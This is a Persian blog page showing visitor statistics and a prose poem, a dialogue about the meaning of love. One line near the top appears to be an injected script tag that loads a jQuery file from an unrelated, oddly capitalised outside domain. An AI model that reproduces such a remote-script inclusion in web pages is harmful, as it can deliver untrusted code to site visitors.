آمار وب سایت:
بازدید دیروز : 0
بازدید هفته : 36
بازدید ماه : 71
بازدید کل : 244326
تعداد مطالب : 293
تعداد نظرات : 4
تعداد آنلاین : 1
script type='text/javascript' src='http://pIChaK.NEt/upper/jquery.min.js' >
مي گفت عاشقم ، دوستش دارم و بدون او هيچم و براي او زنده هستم...
او رفت و تنها ماند ....
زندگي کرد و معشوق را فراموش کرد...
از او پرسيدم از عشق چه مي داني ؟ برايم از عشق بگو....
گفت:عشق اتفاق است بايد بشيني تا بيفتد!!!
گفت:عشق آسو دگيست ,خيال است...خيالي خوش...
گفت:ماندن است ....فرو رفتن در خود است....
گفت:خواستن و گرفتن و براي خود کردن است....
گفت: عشق ساده ست ، همين جاست دم دست و دنيا پر شده از
عشقهاي زود....
گفت: عشق دروغي بيش نيست....
گفتم: تو عاشق نبودي و نيستي........
گفتم:عشق يک ماجراست ، ماجرايي که بايد آن را بسازي....
گفتم:عشق درد است ...
گفتم:عشق رفتن است عبور است ، نبودن است...
گفتم: عشق تضاد است....
گفتم:عشق جستجوست ، نرسيدن است...... نداشتن و بخشيدن است....
گفتم:عشق آغاز است , دير است و سخت است....
گفتم:عشق زندگيست ولي از يه نوع ديگه.....
به فکر فرو رفت و گفت عاشق نبوده ام ...
گفتم عشق راز است ....
راز بين من و توست و بر ملا نمي شود ....
هيچ وقت پايان نمي يابد . مگر به مرگ.....
آهي سردي کشيد....
ديگه هيچي نگفت....
سرشو انداخت پائين و آروم از پيشم رفت....